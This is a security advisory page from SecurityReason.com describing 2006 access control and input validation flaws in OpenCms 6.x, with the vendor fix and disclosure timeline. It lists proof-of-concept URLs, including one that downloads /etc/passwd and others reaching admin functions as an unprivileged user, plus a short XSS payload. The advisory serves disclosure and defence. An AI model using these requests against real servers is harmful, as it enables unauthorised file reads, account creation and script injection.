SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Multiple vulnerabilities in OpenCMS


Arrow  SecurityAlert : 1302
Arrow  CVE : CVE-2006-3934
Arrow  CVE : CVE-2006-3933
Arrow  CVE : CVE-2006-3936
Arrow  CVE : CVE-2006-3935
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Meder Kydyraliev
Arrow  Published : 01.08.2006

Arrow  Affected Software : OpenCms versions 6.2.1, 6.2, 6.0.3, 6.0.4 (possibly older versions too)



Arrow  Advisory Content :  

Multiple access control and input validation vulnerabilities in
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OpenCMS (Open Source Website Content Management System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

0. ORIGINAL ADVISORY
~~~~~~~~~~~~~~~~~~~~
http://o0o.nu/~meder/OpenCMS_multiple_vulnerabilities.txt

I. BACKGROUND
~~~~~~~~~~~~~
OpenCms is a professional level Open Source Website Content Management
System.
OpenCms helps to create and manage complex websites easily without
knowledge
of html. OpenCms is based on Java and XML technology. [1]

II. DESCRIPTION
~~~~~~~~~~~~~~~
OpenCms versions 6.2.1, 6.2, 6.0.3, 6.0.4 (possibly older versions too)
are
vulnerable to multiple access control and input validation
vulnerabilities,
which allow authenticated users to perform the following unauthrozied
actions:

* View and download application's log file;
* Download arbitrary files from the system;
* View sources of JSP files (provided they are locked by some other user);
* Add webusers;
* Upload new OpenCms modules;
* Overwrite existing OpenCms modules;
* Upload database import/export files;
* Overwrite existing database import/export files;
* Send broadcast messages to all users;
* Send JavaScript to any user (XSS);
* Obtain list of all users and groups

Most of the access control vulnerabilities mentioned above can be exploited
by
accessing the URL that provides the functionality, while logged in as
unprivileged user(member of Users group).

The following URLs (wrapped) can be used to reproduce the vulnerabilities
on
OpenCms v.6.2:

* View and download application's log file:

http://[target]/opencms/opencms/system/workplace/views/admin/admin-main.
jsp?path=%2Fworkplace%2Flogfileview

* Download arbitrary files from the system:

http://[target]/opencms/opencms/system/workplace/admin/workplace/logfile
view/downloadTrigger.jsp?filePath=/etc/passwd

* View sources of JSP files (JSP file must be locked by any other user):

http://[target]/opencms/opencms/system/workplace/editors/editor.jsp?
resource=/index.jsp

* Add webusers:

http://[target]/opencms/opencms/system/workplace/views/admin/admin-main.
jsp?path=%2Faccounts%2Fwebusers/new

* Upload new OpenCms modules (by uploading the file with the name of
existing
module, it will be overwritten):

http://[target]/opencms/opencms/system/workplace/views/admin/admin-main.
jsp?path=%2Fmodules%2Fmodules_import

* Upload database import/export files (by uploading the file with the name
of
existing import/export file, it will be overwritten):

http://[target]/opencms/opencms/system/workplace/views/admin/admin-main.
jsp?path=%2Fdatabase%2Fimporthttp

* Send broadcast messages to all users:

http://[target]/opencms/opencms/system/workplace/views/admin/admin-main.
jsp?path=%2Fworkplace%2Fbroadcast

* Send arbitrary JavaScript to any user. Input the following JavaScript as
message
body to be executed in browser of user(s) message is destined to (XSS):

</script> <script>a=/XSS BUG/; alert(a.source)</script>

* Obtain list of all users:

http://[target]/opencms/opencms/system/workplace/views/admin/admin-main.
jsp?path=%2Faccounts/users

Vulnerabilities outlined above may lead to server compromise, loss of
confidentiality and
integrity of data stored on the server.

III. VENDOR STATUS
~~~~~~~~~~~~~~~~~~
Version 6.2.2 has been released to address discovered vulnerabilities.
New version is available at:

http://www.opencms.org/opencms/en/download/opencms.html

IV. DISCLOSURE TIMELINE
~~~~~~~~~~~~~~~~~~~~~~~
13/07/2006 - Bugreport describing the vulnerabilities submitted
18/07/2006 - Initial vendor response acknowledging issues
20/07/2006 - Fixes commited to CVS
21/07/2006 - New version(6.2.2) of OpenCMS addressing the issues released

V. ACKNOWLEDGEMENTS
~~~~~~~~~~~~~~~~~~~
Alexander Kandzior and Andreas Zahner for timely response and resolution of
issues.

VI. REFERENCES
~~~~~~~~~~~~~~
1. OpenCms (Open Source Website Content Management System) homepage,
http://www.opencms.org/
2. XSS Cheat sheet, http://ha.ckers.org/xss.html
3. WebScarab, http://www.owasp.org/software/webscarab.html

--
http://o0o.nu/~meder





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.